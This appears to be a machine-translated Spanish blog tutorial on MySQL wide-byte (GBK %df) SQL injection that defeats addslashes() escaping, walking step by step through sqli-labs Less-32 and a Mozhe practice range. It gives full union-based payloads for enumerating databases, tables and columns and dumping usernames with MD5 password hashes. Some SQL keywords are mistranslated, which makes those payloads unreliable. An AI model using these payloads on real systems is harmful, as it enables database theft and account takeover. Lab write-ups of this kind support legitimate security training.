MySQL - inyección de bytes anchos

1. Función

Función agrega barras():

Agrega una barra invertida antes del carácter predefinido especificado. Estos caracteres predefinidos se refieren a la

Comillas simples ('), comillas dobles ("), barra invertida (/), NUL (carácter nulo)

La función es castrar la función de estos caracteres, poner una barra invertida delante , como comillas simples.

Después de ser filtrado por la función addedlashes(), se convierte en \ '. Los caracteres convertidos en entidades no tienen función.

Al escribir o consultar el nombre de usuario ' 1' ', la base de datos reconocerá las comillas simples ' como símbolo de cierre, y se requiere ingresar una comilla simple para cerrarlo, lo que significa consultar '1' y no hay manera de consultar ' 1' '

Si ingresa ' 1\' ', \ hace que ' pierda la función de cierre, entonces los datos reconocerán ' 1' '

 

 


 

 2. Codificación GBKB

 

Podemos omitir ingresando un %df delante del ' 

 

Originalmente ingresaste ?id=1', se escapará automáticamente a ?id=1\', pero la codificación en \ es %5c

Si ingresa un %df delante de él, se convertirá en %df5c, luego %df5c se analizará en un carácter

 

Entonces, ¿de dónde vienen %df y %5c?

%df es lo que ingresamos manualmente

%5c usa la función addedlashes() para agregar automáticamente \ antes del signo ', y este \ es %5c

Luego ponga %df y %5c juntos, se ajustarán a un método de codificación GBKB

El quinto y cth de %df solo forman un carácter chino.

De esta manera, pierde la función de este \ que comentó fuera de las comillas simples  '

 

Originalmente, este \ era para comentar la función de nuestras comillas simples.

Por ejemplo, originalmente quería encontrar 'para jugar, pero perdí la función de' comillas simples mientras jugaba. 

 

Pero ahora agregamos manualmente un %df delante de sus comillas simples. Cuando la función addedlashes() agrega el símbolo \ delante de nuestras comillas simples, la codificación de este símbolo es %5c, lo cual es cierto En cambio, %df tomó %5c para jugar

Entonces se convierte en %df%5c para jugar juntos, 'comillas simples para jugar solo. Esto pasa por alto con éxito el filtro


 

3. Omisión de bytes anchos 

Condiciones previas de omisión de bytes anchos:

Se requiere que el método de codificación de la otra parte también sea codificación GBK, y al enviar la solicitud, se indica que el cliente también está utilizando codificación GBK.

 

4. Presentación del caso 

(1) sqli-labs-master/Less-32

1. Determinar el modo de cierre y determinar si hay un punto de inyección

?id=1%df' y 1=2 --+

?id=1%df') y 1=2 --+
?id=1%df" y 1=2 --+

?id=1%df") y 1=2 --+

Probado a ?id=1%df' y 1=2 --+ La página reporta un error para confirmar que hay un punto de inyección 

 

 Cuando hemos probado todos los símbolos cerrados, la página sigue sin hacer eco

Use %df para probar el cierre

URL: ?id=1%df'

error de pagina

''1�\'' LÍMITE 0,1' en la línea 1

'1�\'' LÍMITE 0,1

Determinar el método de cierre como comillas simples

URL: ?id=1%df' --+

Use --+ para comentar el siguiente código

El eco de la página es normal.

url ?id=1%df' y 1=1--+

Use y 1=1 para probar el eco de la página normalmente

url:?id=1%df' y 1=2 --+

Use y 1=2 para probar la página e informar un error para confirmar que hay un punto de inyección 

2. Determinar el número de campos 

?id=1%df' ordenar por 3--+

 

 url:?id=1%df' pedido por 4--+

Cuando se prueba el cuarto campo, la página informa un error.

url: ?id=1%df' ordenar por 3 --+ 

Cuando se prueba el tercer campo, el eco de la página es normal 

3. Determinar el bit de eco 

?id=1%df' selección de unión 1,2,3 --+

 

Asegúrese de que el campo repetido en la página sea

2.3 

4. Obtenga el nombre de la base de datos

?id=-1%df' unión seleccione 1,(base de datos()),3--+

 

Asegúrese de que el nombre de la base de datos sea Securiry 

5. Obtenga el nombre de la tabla de datos

?id=-1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

 correos electrónicos, referencias, uagents, usuarios

6. Obtener campos (columnas)

?id=-1%df' union select 1,2,(select group_concat(column_name)from information_Schema.columns where table_schema=database() and table_name=0x7573657273)--+

Nota: 0x representa hexadecimal, porque normalmente escribimos table_name='users' en pruebas normales

Pero addedlashes() aquí también filtra las dos comillas simples que ingresamos '', por lo que debemos convertir el nombre de nuestra tabla en formato hexadecimal y agregar el método de escritura fijo de 0x al frente.

0x: representa hexadecimal

7573657273: representa a los usuarios

 

 identificación

nombre de usuario

contraseña

campo

HEX a carácter hexadecimal a carácter hex gb2312 gbk utf8 Conversión de código interno de caracteres chinos: la herramienta en línea X 

7. Biblioteca de arrastre 

?id=-1%df' union select 1,2,(select group_concat(username, 0x7e ,password)from security.users)--+

0x: representa hexadecimal

7e:~ número

El 0x7e aquí es principalmente el símbolo que empalmamos

 

 


(2) Campo de tiro Mozhe (inyección de bytes anchos) 

1. Determine el método de cierre y juzgue si hay un punto de inyección

?id=1%df' y 1=2 --+

url:?id=1%df' y 1=1 --+

La página se repite normalmente 

?id=1%df' y 1=2--+ 

error de pagina

Asegúrese de que haya una inyección

2. Determinar el número de campos

?id=1%df' ordenar por 5 --+

 

url:?id=1%df' ordenar por 5 --+ 

La página se repite normalmente

 url:?id=1%df' ordenar por 6 --+

error de pagina

Determinar un total de 5 campos 

3. Determinar el bit de eco

?id=-1%df' selección de unión 1,2,3,4,5 --+

Asegúrese de que el campo de eco sea 3, 5 

4. Obtenga el nombre de la base de datos

?id=-1%df' unión seleccione 1,2,3,4,(base de datos())--+

 

url:?id=-1%df' union select 1,2,3,4,(base de datos()) --+

Asegúrese de que la base de datos actual esté 

mozhe_discuss_stormgroup

5. Obtenga la tabla de datos

?id=-1%df' union select 1,2,3,4,(select group_concat(table_name)from information_schema.tables where table_Schema=database())--+

 

La tabla de datos actual es 

aviso,stormgroup_member

6. Obtener información de campo (columna)

id=-1%df' union select 1,2,3,4,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x7374
6F726D67726F75705F6D656D626572 )--+

0x: representa el método de escritura fijo hexadecimal

73746F726D67726F75705F6D656D626572:stormgroup_miembro

Tenga en cuenta aquí que ya sea la prueba de sqlibas anterior o la prueba aquí, cuando convierte el nombre de la tabla a hexadecimal, puede convertir directamente el nombre de la tabla sin comillas dobles o simples.

 

 

 nombre,contraseña,estado

7. Biblioteca de arrastre

?id=-1%df' union select 1,2,3,4,(select group_concat(name,0x7e,password)from mozhe_discuz_stormgroup
.stormgroup_member)--+

0x: método de escritura fijo hexadecimal

7e:~ 

 

 

 

 mozhe~3114b433dece9180717f2b7de56b28a3,

mozhe~aec5684b03c7c59a55bf958c2f3320e7

Aquí hay dos cuentas que utilizan el método de encriptación md5. Tómelo para descifrarlo e iniciar sesión.

Supongo que te gusta

Origin blog.csdn.net/m0_72755466/article/details/130126921
Recomendado
Clasificación